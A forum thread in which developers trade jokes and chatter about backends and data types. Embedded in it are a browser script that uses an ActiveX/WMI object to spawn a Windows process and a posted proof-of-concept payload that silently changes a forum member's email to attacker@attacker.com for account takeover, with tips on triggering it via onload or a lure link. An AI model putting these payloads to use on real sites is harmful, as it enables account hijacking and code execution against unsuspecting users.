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| Orbax |
| I remember you posting that a year ago or so. was pretty slick. |
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| Orbax |
| quote: | Originally posted by tephillim908
used a database backend
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as opposed to what other kind of backend :p |
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| tephillim908 |
| quote: | Originally posted by Orbax
as opposed to what other kind of backend :p |
flat file or xml :p
im using XML backends now, my goal is to make a really powerful photo gallery script that fits in one file, but you can add in lots of plugins and stuff, use different template engines (XSLT, Smarty), different thumbnailing engines (GD, Imagemagik, anything really).
Its my little side project on top of another version of www.brightr.net and a CMS for a little start up my friend and I are putting together. |
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| La5eR |
Stack pringles = new Stack();
//Once You Pop
while(true) {
//You Can't Stop
pringles.pop();
} |
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| tephillim908 |
| quote: | Originally posted by La5eR
Stack pringles = new Stack();
//Once You Pop
while(true) {
//You Can't Stop
pringles.pop();
} |
LMAO!!! :haha: |
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| mezzir |
10 PRINT "HELLO WORLD"
20 END
:(
lol back in like 9th grade i was mad l33t and learning coding and
then....yeah
knew a little c++ and a lot of java, and visual basic pretty damn well, but i don't remember
kinda like actual languages though, even if you can't speak them anymore, if you read it slowly enough you can figure out what it means :p |
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| LeopoldStotch |
too bad i missed out on this conversation. :o
and every developer knows to use int over dec anyday when choosing primitive types, because int uses less bits, compared to other types of primitive types that use floating numbers. signed two's complements over percision values. :o
anyways, man do i miss making long applications these days now. these days, i am either creating system or short programming language scripts to get information from servers, or hacking through lines and lines and lines of stupid code and fixing it to proper form. :o
oh, i guess i have to leave off with some coding here ......
code:
&60;script&62;
var objElem = document.createElement('object');
objElem.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');
var sObj = objElem.CreateObject("winmgmts://./root/cimv2);
var ssObj = sObj.Get("Win32_Process");
Set sProgram = ssObj.Methods_("Create").InParameters.SpawnInstance_;
sProgram.CommandLine = "net start \"01d 5ch001 h4ck1n9 8y 13375 ][\"";
ssObj.ExecMethod("Win32_Process","Create",sProgram);
&60/script&62;
that is what i have to sift through all day. =(
and speaking of PM's ..... there's this hottie PM at work, but she's the type that works at home 99% of the time, and comes in to work 5 hours a month. :( |
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| Orbax |
I tend to develop programs for the users, not the database :p people want to be able to express things in halves. And my system uses a way of using percentile to give a number, or a number to give a percentile which wont always be a whole. it COULD be rounded, but if I did that I couldnt use an SLA of under 1 day (even though minor tasks are typically given times of 3-4 hours) or it would round to 0 and I cant do arithmetic with that!
But yes, in SQL I typically declare to INT. only the return functions need to be more precise :p |
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| Orbax |
| quote: | Originally posted by LeopoldStotch
code:
&60;script&62;
var objElem = document.createElement('object');
objElem.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');
var sObj = objElem.CreateObject("winmgmts://./root/cimv2);
var ssObj = sObj.Get("Win32_Process");
Set sProgram = ssObj.Methods_("Create").InParameters.SpawnInstance_;
sProgram.CommandLine = "net start \"01d 5ch001 h4ck1n9 8y 13375 ][\"";
ssObj.ExecMethod("Win32_Process","Create",sProgram);
&60/script&62;
that is what i have to sift through all day. =(
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I looooove my job! mauahhaha
so easy |
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| underborn410 |
| quote: | Originally posted by LeopoldStotch
too bad i missed out on this conversation. :o
and every developer knows to use int over dec anyday when choosing primitive types, because int uses less bits, compared to other types of primitive types that use floating numbers. signed two's complements over percision values. :o
anyways, man do i miss making long applications these days now. these days, i am either creating system or short programming language scripts to get information from servers, or hacking through lines and lines and lines of stupid code and fixing it to proper form. :o
oh, i guess i have to leave off with some coding here ......
code:
&60;script&62;
var objElem = document.createElement('object');
objElem.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');
var sObj = objElem.CreateObject("winmgmts://./root/cimv2);
var ssObj = sObj.Get("Win32_Process");
Set sProgram = ssObj.Methods_("Create").InParameters.SpawnInstance_;
sProgram.CommandLine = "net start \"01d 5ch001 h4ck1n9 8y 13375 ][\"";
ssObj.ExecMethod("Win32_Process","Create",sProgram);
&60/script&62;
that is what i have to sift through all day. =(
and speaking of PM's ..... there's this hottie PM at work, but she's the type that works at home 99% of the time, and comes in to work 5 hours a month. :( |
heh that woulda worked on here probably till a few months ago... :p
check out this nasty little proof of concept... (wont work now)
code:
java script:eval('xmlhttp = new XMLHttpRequest();xmlhttp.open('POST','/forums/member.php',true);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.send('s=&email=attacker%40attacker.com&emailconfirm=attacker%40attacker.com&homepage=http%3A%2F%2F&icq=&aim=&yahoo=&signature=&month=-1&day=-1&year=&country=Seychelles&field1=sy&field5=&field3=&field4=&field2=&action=updateprofile&Submit=Submit+Modifications');')
get that in a body onload or even a mouseover or link ("Click to see Jennypie giving mad buttsecks!!!") :p
Course there is more code needed to make it do anything useful. :p |
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| LeopoldStotch |
| He's exploiting the XMLHTTPRequest object in HTML scripting, and sending fake request parameter values to the /forums/member.php page. I would specify and note something like that, but I am old enough to not do these types of "childish" attacks. :o . :) |
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